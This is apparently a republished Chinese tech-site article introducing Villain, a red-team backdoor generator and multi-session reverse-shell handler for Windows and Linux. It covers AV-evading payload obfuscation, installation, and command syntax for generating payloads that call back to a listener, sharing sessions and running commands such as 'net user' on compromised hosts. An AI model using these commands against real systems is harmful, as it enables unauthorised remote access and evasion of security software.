Villain:一款针对Windows和Linux的后门生成和多会话处理工具
关于Villain
Villain是一款针对Windows和Linux操作系统设计和开发的后门生成与多会话处理工具,该工具允许广大研究人员与兄弟服务器或其他运行了Villain的设备进行连接,并共享他们的后门会话,以方便广大研究人员和团队之间的协同工作。
Villain生成Payload所采用的机制基于HoaxShell实现,也可以说Villain在这方面是HoaxShell的一个升级版本。
工具特性
1、Villain包含了一个内置的针对Windows平台的Payload自动混淆功能,旨在帮助广大研究人员绕过AV解决方案; 2、该工具生成的每一个Payload只能使用一次,已使用过的Payload不能重新用于会话建立; 3、兄弟服务器之间的通信是AES加密的,使用接收方兄弟服务器的ID作为加密密钥,本地服务器的ID的16个第一字节作为IV。在两个兄弟服务器的初始连接握手期间,每个服务器的ID都是明文交换的,这意味着握手可以被捕获并用于解密兄弟服务器间的通信。我知道这样很“弱”,因为该工具设计用于渗透测试/红色团队评估期间,对此加密模式应该足够了; 4、相互连接的Villain实例(兄弟服务器)也必须能够直接到达彼此。我打算添加一个网络路由映射实用程序,以便兄弟服务器可以将彼此用作代理,以实现它们之间的跨网络通信;
工具运行机制
下图显示的是HTTP(S)反向Shell的运行机制:
工具安装
由于该工具基于Python 3开发,因此广大研究人员首先需要在本地设备上安装并配置好Python 3环境。接下来,使用下列命令将该项目源码克隆至本地:
git clone https://github.com/t3l3machus/Villain
(向右滑动、查看更多)
然后切换到项目目录下,并使用pip命令和项目提供的requirements.txt来安装该工具所需的其他依赖组件:
cd ./Villain
pip3 install -r requirements.txt
工具使用
生成后门Payload
我们可以使用generate命令来生成针对Windows或Linux设备的后门Payload:
generate os=<OS Type> lhost=<IP or INTERFACE> [ exec_outfile=<REMOTE PATH> domain=<DOMAIN>] [ obfuscate encode constraint_mode ]
(向右滑动、查看更多)
支持的后门Payload类型如下:
Windows:PowerShell Linux:Bash
使用样例:
# For Windows:
Villain > generate os=windows lhost=eth0 obfuscate
Villain > generate os=windows lhost=192.168.12.36 exec_outfile="C:\Users\\\$env:USERNAME\.local\hack.ps1" encode
# For Linux:
Villain > generate os=linux lhost=192.168.12.62
连接兄弟服务器
我们可以使用connect命令连接运行了Villain的设备并共享后门会话:
connect <IP> <CORE SERVER PORT>
Shell命令
我们可以使用shell命令来针对一个会话开启交互式HoaxShell:
shell <SESSION ID or ALIAS>
exec命令
exec命令可以针对一个会话在文件系统中执行引用的命令或脚本:
exec </path/to/local/file> <SESSION ID or ALIAS>
exec 'net user;Get-Date' <SESSION ID or ALIAS>
工具运行截图
视频演示
视频地址1:https://www.youtube.com/watch?v=pTUggbSCqA0
视频地址2:https://www.youtube.com/watch?v=NqZEmBsLCvQ
许可证协议
本项目的开发与发布遵循CC知识共享许可协议。
项目地址
Villain:https://github.com/t3l3machus/Villain
参考资料
https://github.com/t3l3machus/hoaxshell https://www.y0utube.com/watch?v=FVbdZSGkzhs https://www.y0utube.com/watch?v=8cVyrBSy0zo
相关文章
- Linux inxi 命令的三种使用方法
- Go 错误处理新思路?用左侧函数和表达式
- 八个酷炫的GitHub技巧,让你看起来像大佬一样!
- 11 个让你的 Linux 桌面更好看的 KDE Plasma 主题
- 使用谷歌文档在 Ubuntu 中对文本进行语音识别
- 为什么企业需要创建微服务目录?
- 如何在 sudo 运行的命令中防止使用参数
- 在 React 中实现条件渲染的七种方法
- 小白干货:使用 Find 和 Locate 命令在 Linux 中搜索文件
- 微软:两个虚拟化功能会影响 Windows 11 的游戏性能
- C语言为什么不检查数组下标
- 都 2022 年了,是时候不要再说 Linux 很难使用了
- 如何使用 tnote 在 Linux 终端中做笔记
- Atoms 是一个可以让你轻松管理 Linux Chroot 环境的 GUI 工具
- 清理 Ubuntu 系统的四个简单步骤
- 如何优雅地 Hack 用户的代码
- HTTP 的缓存为什么这么设计?
- OpenHarmony设备开发(六)-红外温度传感器
- VSLook: 一款超强大的 VS Code 主题编辑工具
- 聊聊微前端那些事儿